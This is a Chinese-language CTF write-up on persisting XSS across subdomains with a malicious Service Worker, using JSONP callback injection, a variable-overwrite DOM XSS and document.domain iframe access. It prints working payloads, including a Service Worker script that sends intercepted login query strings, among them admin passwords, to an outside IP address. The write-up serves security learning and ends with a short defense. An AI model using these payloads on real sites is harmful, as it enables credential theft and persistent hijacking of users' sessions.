从一道CTF学习Service Worker的利用

2020-11-10 6,302

本文目录:


作者:Hachp1@Timeline Sec

作者博客:https://hachp1.github.io


题目初探


  • 首先,题目提供了一个在线访问工具,会去访问提交的url。在“联系站长”处有:嘿~想给我报告BUG链接请解开下面的验证码,只能给我发我网站开头的链接给我哟~我收到邮件后会先点开链接然后登录我的网站!,而登陆时,会以GET请求传入用户名和密码:

    https://auth.hardxss.xhlj.wetolink.com/api/loginVerify?adminname=123&adminpwd=123

  • 所以本题需要通过XSS拦截并获取登陆时GET请求的密码,然后以admin身份登录,不能通过常规的盗取cookie实现。这就需要Service Worker来操作。


JSONP


  • 通过浏览器network工具,可以发现在login处存在一处jsonp:

    https://auth.hardxss.xhlj.wetolink.com/api/loginStatus?callback=get_user_login_status ,网页直接返回了:

    get_user_login_status({"status": false})

    我们访问

  • https://auth.hardxss.xhlj.wetolink.com/api/loginStatus?callback=alert(1);//

    返回:

    alert(1);//({"status":false})


  • 需要注意的是,这个jsonp限制了返回值的长度。


变量覆盖和DOM XSS


  • 仔细查看login处的js代码,可以发现一处dom xss:

  • 首先,注意到 jsonp 函数会创建 script 标签,并使用

    https://auth.hardxss.xhlj.wetolink.com/api/loginStatus?callback=get_user_login_status 处的jsonp,而该jsonp调用的函数由变量 callback 决定。

  • auto_reg_var 函数中,通过 location.search 获取了请求参数,并通过 window[key] = value 进行了赋值,此处存在变量覆盖漏洞。

  • 结合以上的jsonp和login页面的js,此处存在DOM型XSS,我们只需要通过GET请求传入login页面callback参数,此时会覆盖掉原来的callback并调用jsonp,payload:?callback=alert(1)//

callback = "get_user_login_status";auto_reg_var();if (typeof(jump_url) == "undefined" || /^\//.test(jump_url)) {    jump_url = "/";}jsonp("https://auth.hardxss.xhlj.wetolink.com/api/loginStatus?callback=" + callback, function(result) {    if (result['status']) {        location.href = jump_url;    }})
function jsonp(url, success) {    var script = document.createElement("script");    if (url.indexOf("callback") < 0) {        var funName = 'callback_' + Date.now() + Math.random().toString().substr(2, 5);        url = url + "?" + "callback=" + funName; //调用jsonp    } else {        var funName = callback;    }    window[funName] = function(data) {        success(data);        delete window[funName];        document.body.removeChild(script);    }    script.src = url;    document.body.appendChild(script); //执行jsonp的返回函数}
function auto_reg_var() {    var search = location.search.slice(1);    var search_arr = search.split('&');    for (var i = 0; i < search_arr.length; i++) {        [key, value] = search_arr[i].split("=");        window[key] = value; //此处存在变量覆盖,可以覆盖掉callback变量    }}

虽然找到了一处XSS,但是题目又说明:“我收到邮件后会先点开链接然后登录我的网站!”,而登录的域名是auth.hardxss.xhlj.wetolink.com登录和打开链接是在不同的域名,并且需要盗取的信息在请求中而不是在cookie中。又注意到,直接访问https://auth.hardxss.xhlj.wetolink.com/,返回的页面源码的js中包含跨域操作:document.domain = "hardxss.xhlj.wetolink.com";

所以此题需要使XSS跨域持久化,这就涉及到本文的主角:Service Worker,通过它和其他页面的跨域操作可以让XSS持久化。此外,由于需要拦截登陆时的参数,其他方法难以做到拦截请求,而SW可以。


Service Worker


Service Worker简介


  • Appcache用来处理网站的离线缓存,可以通过manifest文件指定浏览器缓存哪些文件以供离线访问。但Appcache有相当多的缺陷,对于整站中的多页缓存来说支持比较差,而Service Worker用来作为其替代。

  • Service Worker是浏览器在后台运行的脚本,与web页面分离,以更好地支持不需要web页面或用户交互的功能。也可以将其理解为一个介于客户端和服务端之间的代理服务器,拥有拦截请求、修改返回内容的权力。可以用来缓存并处理离线网页(用来XSS)。

  • Service Workers 要求必须在 HTTPS 下才能运行。为了便于本地开发,localhost 也被浏览器认为是安全源。

  • Service Workers没有访问 DOM 的能力


注册Service Worker


要使用SW,需要先注册,有两种方法注册SW:1. 通过JS;2. 通过link标签引入外部js

if ('serviceWorker' in navigator) {    navigator.serviceWorker.register('/sw-test/sw.js', {        scope: '/sw-test/'    }).then(function(reg) {        // registration worked        console.log('Registration succeeded. Scope is ' + reg.scope);    }).catch(function(error) {        // registration failed        console.log('Registration failed with ' + error);    });}
<link rel="serviceworker" href="/sw.js">
  • 需要注意的是 navigator.serviceWorker.register 中的参数

  • 首先,第一个参数( scriptURL )只能为本站中的JS脚本(并且必须是 HTTPSlocalhost ,且这个脚本的 Content-Type 必须是 text/javascript 或者其等价类型);

  • 第二个参数 scope 则限定了Service Worker访问的资源的名称空间(如本例中只能访问 /sw-test/ 的子路径),并且, scope 参数不能设置为第一个参数的上层路径( scope 范围必须要小于 Service Worker 脚本本身的路径范围),几个例子:

无效:"/assets/js/sw.js",{scope: "https://other.example.com/"} 
无效:"/assets/js/sw.js", {scope: "/assets/"}
无效:"/assets/js/sw.js", {scope: "/assets/css/"}
有效:"/assets/js/sw.js", {scope: "/assets/js/"}
有效:"/assets/js/sw.js", {scope: "/assets/js/sub/"}


构造恶意register


从上文可以看出,Service Worker有诸多限制,所以利用起来也比较局限。

一种利用方式:首先发现本站的jsonp(或者有本站的js文件上传点,但这种情况比较少),以作为sw脚本url源。

接一段lightless师傅的引用:


该接口的路径越浅越好,最好在根目录下。很明显 http://localhost/time.jsonp?callback= 要优于 http://localhost/a/b/c/time.jsonp?callback= ,因为如果后者作为 Service Worker 的脚本时, scope 只能为 /a/b/c/ 下的路径,而前者可以控制整个域下的内容。


有了这个JSONP,使用 importScripts 就可以在SW注册时引入任意https脚本:importScripts('https://my_site.com/my_evil.js');


利用脚本:

//SW脚本
this.addEventListener('fetch', function(event) { 
    var url = event.request.clone(); //获得用户请求    
    console.log('url: ', url);    
    var body = '<script>alert("test")</script>';    
    var init = {  
        headers: {         
           "Content-Type": "text/html"        
        }    
    };    
    if (url.url === 'http://localhost/sw/target.html') {//要访问的url(https或localhost)        
       var res = new Response(body, init);        
       event.respondWith(res.clone()); //篡改返回结果  
     }
});

原理:通过监听 fetch 事件,截获用户的请求,篡改返回,向返回的页面上嵌入恶意的JS脚本。


Service Worker有效时间


在每个Service Worker授权24小时后(用PC时钟确定时间),原先的HTTP缓存将被清除。脚本需要被重新注册以正常使用,否则会被摧毁。


利用1:XSS持久化、拓展XSS攻击面

importScripts('https://my_site.com/sw.js');//用于注册恶意脚本,通过jsonp或js上传调用importScripts从而引入外部JS
// sw.js(SW恶意脚本)onfetch=e=>{//劫持fetch事件,即浏览器在子域下的每一次访问都会触发    body =    '<script>alert(document.domain)</script>';    init ={headers:{'content-type':'text/html'}};    e.respondWith(new Response(body,init));}
// sw.js;与上一个类似this.addEventListener('fetch', function (event) {    var url = event.request.clone();    console.log('url: ', url);    var body = '<script>alert("test")</script>';    var init = {headers: {"Content-Type": "text/html"}};    if (url.url === 'http://localhost/sw/target.html') {        var res = new Response(body, init);        event.respondWith(res.clone());    }});


利用2:跨域XSS


  • 这便是本题的利用思路了,首先看条件:若另一个页面存在跨域操作(如:document.domain="xxx.xxx"),则可以跨该域进行XSS。


再引用一段lightless师傅的博客:


假设我们在 A.lightless.me 上发现了 XSS,想要横向移动到 secret.lightless.me 上。当 secret.lightless.me 上存在跨域行为的时候,例如 document.domain = 'lightless.me' ,我们可以通过 XSS 漏洞嵌入一个 iframe 标签,以此给 secret.lightless.me 域下植入 Service Worker (前提是 secret.lightless.me 域下存在一个 JSONP 或是有可以返回 Service Worker 脚本的地方)。通过这种方法,即便 secret.lightless.me 域内没有 XSS,也可以被植入恶意的 Service Worker


理解一下:我们在A.lightless.me上插入一个secret.lightless.me域(secret.lightless.me域下存在跨域行为和JSONP或js文件上传)下的iframe,并通过JSONP为该iframe注册恶意SW,由于该页面跨域了,所以A.lightless.me页面的iframe可以访问其内容,能够成功为secret.lightless.me注册恶意SW。


在本题中,首先诱导受害者访问:

https://xss.hardxss.xhlj.wetolink.com/login?callback=jsonp(%22https://testjs--hachp1.repl.co/1.js%22);//


此处会触发xss.hardxss.xhlj.wetolink.com/login下的DOM XSS,从而引入并执行1.js

//1.js(iframe跨域、注册跨域下的SW)
document.domain = "hardxss.xhlj.wetolink.com";var iff = document.createElement('iframe');//构造iframe,指向跨域页面iff.src = 'https://auth.hardxss.xhlj.wetolink.com/';//此页面存在跨域操作iff.addEventListener("load", function(){ iffLoadover(); });document.body.appendChild(iff);exp = `navigator.serviceWorker.register("/api/loginStatus?callback=importScripts('//testjs--hachp1.repl.co/2.js')//")`;//使用JSONP注册SW,在JSONP内调用importscripts引入外部脚本function iffLoadover(){    iff.contentWindow.eval(exp);}

1.js中,我们首先跨域以访问同样跨域的https://auth.hardxss.xhlj.wetolink.com,这种跨域方法在实际开发中很常见,为了使数据能够跨域传输,开发者常常把两个不同子域的document.domain设置为共同的父域,通过iframe就能跨域操作,但也带来了安全隐患。此时,1.js就可以对https://auth.hardxss.xhlj.wetolink.com进行操作了。然后我们构造一个iframe指向https://auth.hardxss.xhlj.wetolink.com,并在其上注册SW(此处省去了scope参数,使用默认的最大子路径作为参数),此SW使用JSONP与importScripts结合加载2.js作为SW脚本。

//2.js(SW脚本,必须通过JSONP或JS上传引入)
this.addEventListener('fetch', function (event) {    var body = "<script>location='http://120.78.185.175:8888/'+location.search;</script>";//通过GET请求传参,此处劫持请求并将其带出    var init = {headers: {"Content-Type": "text/html"}};    var res = new Response(body, init);    event.respondWith(res.clone());});

2.js是SW脚本,在2.js中,我们劫持了fetch事件,并将请求传给我们的服务器,从而在管理员登陆时劫持并窃取管理员密码,达到利用目的。拿到密码后,登录网页即可拿到flag。需要注意的一点是,由于JSONP为https://auth.hardxss.xhlj.wetolink.com/api/loginStatus?callback=xxx,我们只能劫持受害者在https://auth.hardxss.xhlj.wetolink.com/api/的子域下的请求;而用户登陆的url为https://auth.hardxss.xhlj.wetolink.com/api/loginVerify?adminname=xxx&adminpwd=xxx,恰好在该子域下,所以利用才能成功。可以看出SW的可利用路径是非常苛刻的。


真实情况下的案例:百度漏洞报告:埋雷式攻击,悄无声息获取用户百度登录密码


Service Worker防御措施


当注册SW时,会发出包含 Service-Worker: script http头的请求,可以在服务端拒绝非SW Script却又包含该头的请求以进行防范。


总结


  • 让我们梳理一下,考虑一些细节,整道题主要涉及到四个url:


  1. DOM XSS

    (https://xss.hardxss.xhlj.wetolink.com/login)

  2. JSONP

    (https://auth.hardxss.xhlj.wetolink.com/api/loginStatus)

  3. 跨域页面

    (https://auth.hardxss.xhlj.wetolink.com)

  4. 登录验证api

    (https://auth.hardxss.xhlj.wetolink.com/api/loginVerify)


最后结合一张networking截图理解:



  • 注意到跨域页面上只有一个光秃秃的跨域操作,并没有其他操作,但作为媒介用以设置其子域-登录验证api上的SW脚本(设置脚本时访问的是跨域页面而没有访问劫持页面)

  • 利用条件:1.baidu.com上发现了XSS,2.baidu.com上存在跨域操作:document.domain = 'baidu.me'并且子域下存在JSONP(路径需要跟盗取的信息页面在同一子域)或能够上传js的地方,就可以完成JSONP子域下的持久化XSS劫持。


最后几点:


  1. JSONP决定了可以盗取的页面子域

  2. 可以用来劫持请求,并直接盗取请求参数,这是其他XSS不能办到的

  3. 持久化XSS

  4. 扩大XSS到SW脚本子域


参考资料


  • XSS With Service Worker

  • 基于Service Worker 的XSS攻击面拓展

  • 如何利用/防御 Service Worker

  • TCTF/0CTF2018 h4x0rs.space Writeup

  • 2020西湖论剑部分web_wp

  • 西湖论剑 WP-Nu1L

  • 百度漏洞报告:埋雷式攻击,悄无声息获取用户百度登录密码



欢迎真正热爱技术的你!
Timeline Sec 团队
安全路上,与你并肩前行











本文作者:Timeline Sec

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/145599.html

Tags:
评论  (0)
快来写下你的想法吧!

Timeline Sec

文章数:38 积分: 190

欢迎关注公众号Timeline Sec

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号